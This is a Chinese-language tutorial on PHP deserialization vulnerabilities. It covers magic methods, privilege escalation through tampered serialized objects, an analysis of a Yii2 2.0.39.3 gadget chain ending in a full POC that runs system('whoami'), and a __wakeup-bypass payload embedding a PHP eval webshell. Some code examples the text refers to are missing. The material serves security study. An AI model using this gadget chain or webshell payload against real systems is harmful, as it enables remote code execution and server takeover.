0X1 PHP序列化与反序列化
php序列化是将一个对象转换成字符串,而反序列化则是将序列化的字符串重新转换成对象。序列化与反序列化的存在是为了让对象也能在数据中进行传递或者保存。例如统一登录使用序列化进行存储用户对象和传输用户对象等。
0X2 PHP反序列化漏洞利用
php序列化的内容本身是不存在危险的,但是如果反序列化的内容能进行控制则存在漏洞风险。
例1:利用序列化存储session和cookie
假设通过cookie(为了直接展示通过get方式过去参数)内的session值进行用户权限判断:
构造exp:
构造一个isAdmin属性是true的对象进行序列化,然后传入漏洞利用点,则造成越权。
这里举例中是由于cookie内的值是可控,造成构造序列化的字符串。当然这种直接修改对象属性利用的漏洞很少见,目前只遇到过一次,并且反序列化字符串也会有各种加密等。
反序列化漏洞常利用方式是利用某些对象的方法,首先需要先介绍几种php对象魔术方法(内置方法,可直接调用):
__construct() //new对象时执行__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发
因为反序列化只能控制对象内容而不能操作对象,所以只能利用魔术方法的触发来调用能造成危害的方法。
例2:利用魔术方法调用可利用方法
假设可利用源码如下:
这里可利用方法是userImage,可以在控制url和imageName参数时getshell。unserialize() 执行时会检查是否存在一个wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。
因此在进行反序列化时就会调用userImage方法,只需要控制类的属性url和imageName即可getshell。exp:
把远程$url换成webshell内容,图片名称换成能解析的后缀,则会在当前目录将远程的文件写入到本地,达到getshell目的。
这里提供两个常见反序列化利用方法,在一些成熟的php框架中,如果找到二次开发使用到了反序列化这个利用点则需要找到对应框架的反序列化利用链来进行利用,其主要目的是构造exp。
可以通过分析ThinkPHP/5.0.24反序列化利用链进行理解(https://xz.aliyun.com/t/7082)。
例3:Yii2(2.0.39.3)最新版本可用反序列化链分析
先展示调试显示的利用链:
从利用链先分析:
/vendor/yiisoft/yii2/rest/CreateAction.php
public function __destruct(){ $this->stopProcess();}public function stopProcess(){ foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; } $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this->processes = [];}
当RunProcess对象销毁时会执行stopProcess方法,其中$this->processes是私有属不能直接赋值,但是能通过__construct进行赋值达到可控。之后会执行到$process->isRunning()当isRunning方法不存在时则会触发process 的__call方法所以process能当利用链的跳板,其中isRunning会向__call传入两个参数并且第一个参数等于”isRunning”第二个为空。如:
<?php class Name{ public function __call($a,$b){ var_dump($a); }}$a = new Name();$a->isRunning();
然后分析:
/vendor/fakerphp/faker/src/Faker/Generator.php
public function __call($method, $attributes){ return $this->format($method, $attributes);}public function format($formatter, $arguments = []){ return call_user_func_array($this->getFormatter($formatter), $arguments);}public function getFormatter($formatter){ if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = [$provider, $formatter]; return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));}
这里提取了主要代码,__call中执行formart方法$formatter=”isRunning”。调用getFormatter方法。在if语句中formatters数组存在[‘isRunning’]则直接返回素组的值进入到call_user_func_array函数,可构造array[0]为类array[1]为方法直接执行。
下面分析可利用类:
/vendor/yiisoft/yii2/rest/CreateAction.php
class CreateAction extends Action{public function run(){ if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }}
这里定义好checkAccess为执行方法,id为执行参数即可,最终POC:
<?php namespace yii\rest{ class CreateAction{ public $checkAccess='system'; public $id='whoami'; }}namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['isRunning'] = [new CreateAction(),'run']; } }}namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct(){ $this->processes = [new Generator()]; } }}namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess()));}?>
版本号:
特殊问题:
在PHP5 < 5.6.25和PHP7 < 7.0.10版本中,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。这个关于__wakeup的绕过能更简单的构造exp,这个问题还经常在ctf中被运用。例如以下代码:
__wakeup每次都会先将$a进行清零操作,如果绕过__wakeup则可以给$a赋值达到写入文件内容。
Exp:
O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["x"]);?>";}
这个序列化字符串解释:O代表结构类型为:类,1表示类名长度,接着是类名、属性或成员个数(漏洞利用点)。
大括号内分别是:属性名类型、长度、名称;值类型、长度、值。
0X3 参考文献:
https://xz.aliyun.com/t/7082https://bugs.php.net/bug.php?id=72663 https://www.anquanke.com/post/id/187393